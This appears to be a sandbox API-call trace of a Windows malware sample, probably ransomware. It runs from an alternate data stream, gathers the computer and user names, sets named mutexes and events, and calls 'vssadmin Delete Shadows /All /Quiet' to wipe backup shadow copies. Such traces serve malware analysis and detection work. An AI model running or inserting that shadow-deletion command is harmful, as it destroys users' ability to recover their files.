[0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e268 [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e1e0 [0248.907] LocalFree (hMem=0x5d6858) returned 0x0 [0248.907] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x1dd7cf8 [0248.907] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1dd7cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin")) returned 0x2e [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x1dd8500 [0248.907] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1dd8500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin")) returned 0x2e [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e2f0 [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e378 [0248.907] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e2f0) returned 1 [0248.907] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e378) returned 1 [0248.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e378 [0248.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbfc | out: lpFileInformation=0x18fbfc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fbbe8d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fbbe8d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fbbe8d0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0248.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e2f0 [0248.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbf8 | out: lpFileInformation=0x18fbf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fbbe8d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fbbe8d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fbbe8d0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0248.908] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", dwFileAttributes=0x80) returned 1 [0248.916] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e2f0) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e378) returned 1 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e378 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e378) returned 1 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5c) returned 0x58dd28 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e378 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e2f0 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e400 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e488 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e510 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e598 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e620 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e6a8 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e730 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e7b8 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e840 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd8d08 [0248.918] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x1dd8d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd8d08) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x58c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c900 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c948 [0248.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0248.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd8d08 [0248.919] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x1dd8d08, nSize=0x40 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0248.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd8d08) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0248.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c990 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x58c990, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 20 [0248.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c9d8 [0248.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c990) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c9d8) returned 1 [0248.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c9d8 [0248.919] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x5d6910) returned 1 [0248.920] CryptCreateHash (in: hProv=0x5d6910, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0248.920] CryptHashData (hHash=0x5d6898, pbData=0x58c240, dwDataLen=0x20, dwFlags=0x0) returned 1 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x184) returned 0x1dd8d08 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c990 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58ca20 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58ca68 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58cab0 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58caf8 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58cb40 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58cb88 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58cbd0 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd8eb0 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd8ef8 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd8f40 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd8f88 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd8fd0 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9018 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9060 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd90a8 [0248.920] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0248.920] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x2, pbData=0x58c9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x58c9d8, pdwDataLen=0x18fc34) returned 1 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd90f0 [0248.920] CryptDestroyHash (hHash=0x5d6898) returned 1 [0248.920] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c9d8) returned 1 [0248.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c9d8 [0248.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.921] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c9d8) returned 1 [0248.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c9d8 [0248.921] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c9d8) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd90f0) returned 1 [0248.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd90f0 [0248.921] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x0 [0248.921] GetLastError () returned 0x2 [0248.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd2850 [0248.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.921] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.921] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0248.923] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.923] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5cd2f8, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0248.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.923] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x120 [0248.923] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.923] GetLastError () returned 0x0 [0248.923] SetSecurityInfo () returned 0x0 [0248.927] LocalFree (hMem=0x5cd2f8) returned 0x0 [0248.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.927] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x5d6910) returned 1 [0248.928] CryptCreateHash (in: hProv=0x5d6910, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0248.928] CryptHashData (hHash=0x5d6898, pbData=0x58c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0248.928] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0248.928] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x2, pbData=0x1dd9138, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1dd9138, pdwDataLen=0x18fc34) returned 1 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9180 [0248.928] CryptDestroyHash (hHash=0x5d6898) returned 1 [0248.928] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9180) returned 1 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9180 [0248.928] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0248.928] GetLastError () returned 0x5 [0248.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.928] OpenEventA (dwDesiredAccess=0x1f0003, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0248.929] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.929] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0248.929] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.929] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0248.929] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.929] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x5d6910) returned 1 [0248.930] CryptCreateHash (in: hProv=0x5d6910, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0248.930] CryptHashData (hHash=0x5d6898, pbData=0x58c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0248.930] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0248.930] CryptGetHashParam (in: hHash=0x5d6898, dwParam=0x2, pbData=0x1dd91c8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1dd91c8, pdwDataLen=0x18fc34) returned 1 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.930] CryptDestroyHash (hHash=0x5d6898) returned 1 [0248.930] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd91c8 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd91c8) returned 1 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9138) returned 1 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9138 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.930] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.930] GetLastError () returned 0x5 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.930] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.930] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0248.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.930] ReleaseMutex (hMutex=0x0) returned 0 [0248.930] GetLastError () returned 0x6 [0248.931] SetEvent (hEvent=0x120) returned 1 [0248.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd9e98 [0248.931] GetSystemDirectoryW (in: lpBuffer=0x1dd9e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0248.931] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9e98) returned 1 [0248.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0248.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e950 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e9d8 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd2850 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.932] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.932] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd2850 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9210 [0248.932] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9210) returned 1 [0248.932] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ea60 [0248.932] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x18fbb8*(hProcess=0x150, hThread=0x124, dwProcessId=0x6c8, dwThreadId=0x680)) returned 1 [0248.966] NtClose (Handle=0x124) returned 0x0 [0248.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ea60) returned 1 [0248.966] NtClose (Handle=0x150) returned 0x0 [0248.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ea60 [0248.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x400) returned 0x1dd2850 [0248.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x400) returned 0x1dd2c58 [0248.966] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x1dd2850, nSize=0x100 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0248.966] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpszShortPath=0x1dd2c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0248.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2c58) returned 1 [0248.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ea60) returned 1 [0248.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ea60 [0248.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x400) returned 0x1dd2850 [0248.966] CryptAcquireContextW (in: phProv=0x18fb94, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb94*=0x5d6910) returned 1 [0248.967] CryptGenRandom (in: hProv=0x5d6910, dwLen=0x4, pbBuffer=0x18fba8 | out: pbBuffer=0x18fba8) returned 1 [0248.967] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58eae8 [0248.967] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x5d6910) returned 1 [0248.968] CryptGenRandom (in: hProv=0x5d6910, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0248.968] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.968] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x5d6910) returned 1 [0248.969] CryptGenRandom (in: hProv=0x5d6910, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0248.969] CryptReleaseContext (hProv=0x5d6910, dwFlags=0x0) returned 1 [0248.969] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="v", uUnique=0x0, lpTempFileName=0x1dd2850 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\v59b3.tmp")) returned 0x59b3 [0248.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58eae8) returned 1 [0248.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x400) returned 0x1dd2c58 [0248.969] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp", lpszShortPath=0x1dd2c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\v59B3.tmp") returned 0x2e [0248.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58ea60) returned 1 [0248.970] 